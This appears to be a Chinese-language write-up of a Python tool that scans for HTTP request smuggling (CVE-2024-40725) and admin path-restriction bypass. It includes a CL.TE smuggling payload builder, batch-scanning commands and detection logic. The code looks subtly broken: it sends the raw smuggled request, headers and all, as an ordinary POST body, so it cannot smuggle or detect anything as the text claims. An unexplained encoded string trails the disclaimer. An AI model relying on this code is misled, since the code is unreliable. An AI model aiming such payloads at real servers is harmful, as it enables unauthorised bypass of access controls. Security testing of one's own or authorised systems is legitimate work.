HTTP请求走私漏洞检测工具

3 阅读4分钟

HTTP Request Smuggling Detection Tool

一个专业的Python工具,用于检测HTTP请求走私漏洞,特别针对CVE-2024-40725漏洞(Apache HTTP Server)进行检测。该工具通过发送精心构造的HTTP请求并分析服务器响应,帮助识别路径访问限制绕过等安全问题。

功能特性

  • HTTP请求走私检测:自动检测目标服务器是否存在HTTP请求走私漏洞
  • 多目标批量测试:支持单个URL测试和批量URL列表测试
  • 自定义路径字典:支持使用自定义wordlist测试多种端点路径
  • 状态码差异分析:识别走私请求前后HTTP状态码变化(如403 → 200)
  • 结果日志记录:自动保存检测结果到日志文件供后续分析
  • 实时状态反馈:显示每个测试路径的正常状态码和检测结果

安装指南

系统要求

  • Python 3.7+
  • pip包管理器

依赖安装

pip install requests

工具部署

  1. 克隆或下载工具文件到本地
  2. 确保Python环境已正确配置
  3. 验证依赖安装成功:
python -c "import requests; print('依赖安装成功')"

使用说明

基础用法

单个URL测试
python detect_http_smuggling.py -u https://example.com -w wordlist.txt -o output.log
批量URL测试
python detect_http_smuggling.py -l urls.txt -w wordlist.txt -o output.log

参数说明

参数描述
-u单个目标URL地址
-l包含多个目标URL的文件路径
-w自定义路径字典文件(用于端点模糊测试)
-o输出结果保存文件路径

典型使用场景

场景1:检测管理后台路径是否存在绕过漏洞

python detect_http_smuggling.py -u https://admin.example.com -w admin_paths.txt -o admin_scan.log

场景2:批量检测多个服务器

python detect_http_smuggling.py -l targets.txt -w common_paths.txt -o batch_scan.log

输出示例

Target: https://example.com
Status Change Detected:
  /admin 403 ---> /admin 200

Target: https://anotherexample.com
No vulnerability was detected.

核心代码

请求走私载荷生成

def generate_smuggled_request(target_url, target_path):
    """
    生成HTTP请求走私测试载荷
    
    通过构造带有Content-Length和Transfer-Encoding头部的HTTP请求,
    利用服务器解析差异实现请求走私攻击检测。
    
    :param target_url: 目标服务器URL
    :param target_path: 待测试的路径
    :return: 构造的走私HTTP请求字符串
    """
    return (
        "POST / HTTP/1.1\r\n"
        f"Host: {target_url}\r\n"
        "Content-Length: 0\r\n"
        "Transfer-Encoding: chunked\r\n"
        "\r\n"
        "0\r\n\r\n"
        f"GET {target_path} HTTP/1.1\r\n"
        f"Host: {target_url}\r\n"
        "User-Agent: smuggle-test\r\n"
        "\r\n"
    )

路径状态检测

def check_path_status(target_url, path):
    """
    检测正常HTTP请求下的路径状态码
    
    发送标准GET请求获取指定路径的HTTP状态码,
    作为后续走私检测的基准参照。
    
    :param target_url: 目标服务器URL
    :param path: 待测试路径
    :return: HTTP状态码,失败返回None
    """
    try:
        response = requests.get(f"{target_url}{path}", timeout=10)
        return response.status_code
    except Exception as e:
        print(f"[ERROR] Could not check path {path} on {target_url}: {e}")
        return None

漏洞检测主逻辑

def detect_http_request_smuggling(target_url, paths, output_file):
    """
    HTTP请求走私漏洞检测主函数
    
    核心检测逻辑:
    1. 获取路径的正常访问状态码作为基准
    2. 发送构造的走私请求
    3. 对比状态码变化判断漏洞是否存在
    4. 记录检测结果到指定文件
    
    :param target_url: 目标服务器URL
    :param paths: 待测试路径列表
    :param output_file: 结果保存文件
    """
    try:
        for path in paths:
            print(f"[*] Testing URL: {target_url} with path: {path}")
            
            # 获取路径正常状态码
            normal_status = check_path_status(target_url, path)
            if normal_status is None:
                continue
            print(f"Normal status for {path}: {normal_status}")
            
            # 发送走私请求并分析响应
            smuggled_request = generate_smuggled_request(target_url, path)
            smuggled_response = requests.post(
                target_url,
                data=smuggled_request,
                headers={"Content-Type": "application/x-www-form-urlencoded"},
                timeout=10
            )
            
            # 状态码对比分析
            if smuggled_response.status_code != normal_status:
                print(f"[!] Status change detected: {normal_status} -> {smuggled_response.status_code}")
                # 记录漏洞发现结果
                with open(output_file, 'a') as f:
                    f.write(f"Target: {target_url}\n")
                    f.write(f"Status Change Detected: {path} {normal_status} ---> {path} {smuggled_response.status_code}\n\n")
            else:
                print(f"[-] No status change for {path}")
                
    except Exception as e:
        print(f"[ERROR] Detection failed: {e}")

免责声明

本工具仅用于教育目的和授权的安全测试。未经明确许可,使用本工具对未拥有或未经授权的系统进行测试是非法且不道德的行为。使用者须自行承担所有责任。 6HFtX5dABrKlqXeO5PUv/yWowgSDM5nvtwUwkAhwVcM=